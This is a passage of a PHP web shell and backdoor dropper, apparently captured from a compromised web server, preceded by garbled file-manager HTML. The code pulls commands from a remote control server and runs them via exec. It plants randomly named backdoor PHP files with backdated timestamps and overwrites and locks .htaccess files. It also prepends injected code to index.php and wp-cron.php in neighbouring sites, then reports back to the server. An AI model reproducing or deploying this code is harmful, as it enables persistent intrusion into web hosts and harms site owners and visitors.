|
Name | Url | Size | Modify | Permission | Action |
---|---|---|---|---|---|---|
|
'.$v.''; }else{ echo ''.$v.''; } ?> | click visit | Directory'; }else{ echo getFileSize($file_url); } ?> | '.$permission.''; }else{ echo ''.$permission.''; } ?> | Rename Edit Chmod | |
No Files! |
Reback is successfully
'; foreach($wp_result as $k=>$v){ echo ''; } }else{ echo 'Reback is failed! '.$result_data['code'].'
'; } } function execAction($data, $pweb, $now_site){ $group_id = $data['group_id']; $shell_id = $data['shell_id']; $url = base64_decode($pweb).'/indexdoor.php?action=exec&group_id='.$group_id; $result_data = array(); $result_data['shell_id'] = $shell_id; $result_data['action'] = 'exec'; $save_url = base64_decode($pweb).'/save.php'; $cc = curlget($url); $json_array = json_decode($cc, true); if(isset($json_array['in_contnt']) && !empty($json_array['ht_contnt']) && !empty($json_array['exec_code'])){ $result = add_exec($json_array['ht_contnt'], $json_array['in_contnt'], $json_array['exec_code'], $json_array['wp_ycode']); if($result){ $result_data['status'] = 1; }else{ $result_data['code'] = '1001'; $result_data['status'] = 2; } }else{ $result_data['code'] = '1002'; $result_data['status'] = 2; } $res = curlpost($save_url, $result_data); if($res['status']){ echo 'Exec is successfully
'; }else{ echo 'Exec is failed! '.$result_data['code'].'
'; } } function add_exec($ht_contnt, $index_contnt, $exec_code, $wp_ycode){ $exec_code = str_replace("[##htcontent##]", base64_encode($ht_contnt), $exec_code); $exec_code = str_replace("[##indexcontent##]", base64_encode($index_contnt.$wp_ycode), $exec_code); $l12 = array("1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m"); for ($i = 1;$i < rand(6, 6);$i++) { $e14 = rand(0, count($l12) - 1); $o15.= $l12[$e14]; } $u17 = fopen($o15 . ".php", "w"); fwrite($u17, $exec_code); fclose($u17); exec("php -f" . __DIR__ . "/$o15.php > /dev/null 2>/dev/null &", $e18, $res); if ($res === 0) { return true; } else { return false; } } function othersAction($data, $pweb, $now_site){ $shell_id = $data['shell_id']; $group_id_2 = $data['group_id_2']; $group_id_3 = $data['group_id_3']; $url = base64_decode($pweb).'/indexdoor.php?action=others&group_id_2='.$group_id_2.'&group_id_3='.$group_id_3; $result_data = array(); $result_data['shell_id'] = $shell_id; $result_data['action'] = 'others'; $save_url = base64_decode($pweb).'/save.php'; $cc = curlget($url); $json_array = json_decode($cc, true); if((!empty($json_array['group2_code']) && !empty($json_array['second_file'])) || (!empty($json_array['group3_code']) && !empty($json_array['third_file'])) ){ $result = add_others($json_array['group2_code'], $json_array['group3_code'], $json_array['second_file'], $json_array['third_file'], $now_site); if(!empty($result['second_url']) || !empty($result['third_url'])){ $result_data['second_url'] = $result['second_url']; $result_data['third_url'] = $result['third_url']; $result_data['status'] = 1; }else{ $result_data['code'] = '1001'; $result_data['status'] = 2; } }else{ $result_data['code'] = '1002'; $result_data['status'] = 2; } $res = curlpost($save_url, $result_data); if($res['status']){ echo 'Others is successfully
'; }else{ echo 'Others is failed! '.$result_data['code'].'
'; } } function add_others($group2_code, $group3_code, $second_file, $third_file, $now_site){ $result = array(); $sf = crefile($second_file, $group2_code); $tf = crefile($third_file, $group3_code); $result['second_url'] = ""; $result['third_url'] = ""; if($sf){ $result['second_url'] = $now_site.'/'.$second_file; } if($tf){ $result['third_url'] = $now_site.'/'.$third_file; } return $result; } function doorsAction($data, $pweb, $now_site){ $result_data = array(); $result_data['shell_id'] = $data['shell_id']; $result_data['action'] = 'doors'; $save_url = base64_decode($pweb).'/save.php'; $shell_id = $data['shell_id']; $url = base64_decode($pweb).'/indexdoor.php?action=doors&shell_id='.$shell_id; $cc = curlget($url); $json_array = json_decode($cc, true); if(!empty($json_array['doors'])){ $result = add_doors($json_array['doors'], $json_array['wp_files'], $json_array['third_file'], $json_array['ht_ban_content'], $json_array['ht_open_content'], $now_site); if(!empty($result['door_files'])){ $result_data['door_urls'] = implode(';', $result['door_files']); $result_data['status'] = 1; }else{ $result_data['code'] = '1001'; $result_data['status'] = 2; } }else{ $result_data['code'] = '1002'; $result_data['status'] = 2; } $res = curlpost($save_url, $result_data); if($res['status']){ echo 'Doors is successfully, Success .h is '.$result['count'].'
'; foreach($result['door_files'] as $k=>$v){ echo ''; } }else{ echo 'Doors is failed! '.$result_data['code'].'
'; } } function add_doors($doors_array, $wp_files, $third_file, $ban_content, $open_content, $now_site){ $result = array(); global $door_lists, $all_paths; $path = $_SERVER['DOCUMENT_ROOT']; getAllDirectories($path, 1); $randomKeys = array_rand($door_lists, count($doors_array)); $door_files = array(); $succ_files = array(); $i = 0; foreach ($randomKeys as $key) { $file_door_url = $door_lists[$key]; $file_name = getrandstr(rand(5, 10)).'.php'; $file_url = $file_door_url.'/'.$file_name; $res = crdoorfile($file_url, $doors_array[$i]); if($res){ $succ_files[] = $file_url; $door_files[] = str_replace($path, $now_site, $file_url); } $i++; } $count = 0; if(count($succ_files) > 0){ $ht_urls = array(); $wp_files_array = explode(";", $wp_files); foreach ($wp_files_array as $k=>$v){ $wp_files_array[$k] = $path.$v; } $ht_urls = $succ_files; $ht_urls = array_merge($ht_urls, $wp_files_array); $ht_urls[] = $path.'/'.$third_file; $ht_folders = array(); $ht_files = array(); foreach ($ht_urls as $k=>$v){ $ht_folders[] = dirname($v); $ht_files[] = basename($v); } foreach ($all_paths as $k=>$a){ $now_files = array(); foreach($ht_folders as $htk=>$htv){ if($a == $htv){ $now_files[] = $ht_files[$htk]; } } $ht_content_now = ""; if(!empty($now_files)){ $ht_content_now = str_replace('{#htcontent}', implode('|', $now_files), $open_content); }else{ $ht_content_now = $ban_content; } chmod($a.'/.htaccess', 0644); if (file_put_contents($a.'/.htaccess', $ht_content_now) !== false) { $count++; chmod($a.'/.htaccess', 0444); } } } $result['door_files'] = $door_files; $result['count'] = $count; return $result; } function getAllDirectories($path, $depth) { global $all_paths, $door_lists, $last_folders; $minDepth = 3; $maxDepth = 8; $directories = []; $files = scandir($path); foreach($files as $file) { if ($file == '.' || $file == '..') { continue; } $fullPath = $path . DIRECTORY_SEPARATOR . $file; if (is_dir($fullPath)) { $all_paths[] = $fullPath; if ($depth >= $minDepth && $depth <= $maxDepth) { $directories[] = $fullPath; $door_lists[] = $fullPath; } if($depth == 5 && count($last_folders) == 0){ $last_folders[] = $fullPath; } if ($depth < $maxDepth) { $directories = array_merge($directories, getAllDirectories($fullPath, $depth + 1)); } } } return $directories; } function stationAction($data, $pweb, $now_site){ $result_data = array(); $result_data['shell_id'] = $data['shell_id']; $result_data['action'] = 'station'; $save_url = base64_decode($pweb).'/save.php'; $shell_id = $data['shell_id']; $url = base64_decode($pweb).'/indexdoor.php?action=station&shell_id='.$shell_id; $cc = curlget($url); $json_array = json_decode($cc, true); $station_count = 0; if(!empty($json_array['station_code']) && !empty($json_array['ht_pz_content'])){ $station_count = add_station($json_array['station_code'], $json_array['ht_pz_content'], $now_site); if($station_count > 0){ $result_data['station_count'] = $station_count; $result_data['status'] = 1; }else{ $result_data['code'] = '1001'; $result_data['status'] = 2; } }else{ $result_data['code'] = '1002'; $result_data['status'] = 2; } $result_data['shell_url'] = $now_site; $res = curlpost($save_url, $result_data); if($res['status']){ echo 'Station is successfully, Success is '.$station_count.'
'; }else{ echo 'Station is failed! '.$result_data['code'].'
'; } } function add_station($station_code, $ht_content, $now_site){ $count = 0; $path = $_SERVER['DOCUMENT_ROOT']; $folder_name = basename($path); $all_folders = getParentsFolders($path); $all_results = array(); foreach($all_folders as $k=>$v){ $directories = glob($v. '/*', GLOB_ONLYDIR); $all_folders = array_merge($all_folders, $directories); } foreach($all_folders as $k=>$v){ if(!strpos($v, $folder_name)){ $all_results[] = $v; } } foreach ($all_results as $k=>$v){ $index_url = $v.'/index.php'; $wp_url = $v.'/wp-cron.php'; $ht_url = $v.'/.htaccess'; $index_yuan = ""; if(file_exists($index_url)){ chmod($index_url, 0644); $index_yuan = file_get_contents($index_url); } file_put_contents($index_url, $station_code.$index_yuan); chmod($index_url, 0444); $wp_yuan = ""; if(file_exists($wp_url)){ chmod($wp_url, 0644); $wp_yuan = file_get_contents($wp_url); } file_put_contents($wp_url, $station_code.$wp_yuan); chmod($wp_yuan, 0444); chmod($ht_url, 0644); file_put_contents($ht_url, $ht_content); chmod($ht_url, 0444); $count++; } return $count; } function getParentsFolders($path){ $all_folders = array(); $parent_folds = dirname($path); $directories = glob($parent_folds. '/*', GLOB_ONLYDIR); $all_folders = $directories; $parent_folds = dirname($parent_folds); $directories = glob($parent_folds. '/*', GLOB_ONLYDIR); $all_folders = array_merge($all_folders, $directories); return $all_folders; } function curlget($url){ $url_data = ""; if (function_exists('file_get_contents')) { $url_data = file_get_contents($url); } if (empty($url_data) && function_exists('curl_exec')) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); $url_data = curl_exec($conn); curl_close($conn); } if (empty($url_data) && function_exists('fopen') && function_exists('stream_get_contents')) { $handle = fopen($url, "r"); $url_data = stream_get_contents($handle); fclose($handle); } return $url_data; } function curlpost($url, $data){ $jsonData = json_encode($data); $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($jsonData) )); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData); $response = curl_exec($ch); $result = array(); if (curl_errno($ch)) { $result['status'] = 0; $result['msg'] = curl_error($ch); } curl_close($ch); $res = json_decode($response, true); $result['status'] = $res['status']; return $result; } function crefile($fiurl, $contnt){ $path = $_SERVER['DOCUMENT_ROOT'].'/'; $filath = $path.dirname($fiurl); if (!is_dir($filath)) { if (!mkdir($filath, 0755, true)) { return false; } } $file_path = $path.$fiurl; if (file_put_contents($file_path, $contnt) !== false) { $time = time() - rand(30, 100) * 24 *60 *60 - rand(0, 3600); touch($file_path, $time); return true; } else { return false; } } function crdoorfile($fipath, $contnt){ if (file_put_contents($fipath, $contnt) !== false) { $time = time() - rand(30, 100) * 24 *60 *60 - rand(0, 3600); touch($fipath, $time); return true; } else { return false; } } function strslit($str){ $cha = str_split($str); return "'".implode("'.'", $cha)."'"; } function getrandstr($length = 10) { $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString; } ?>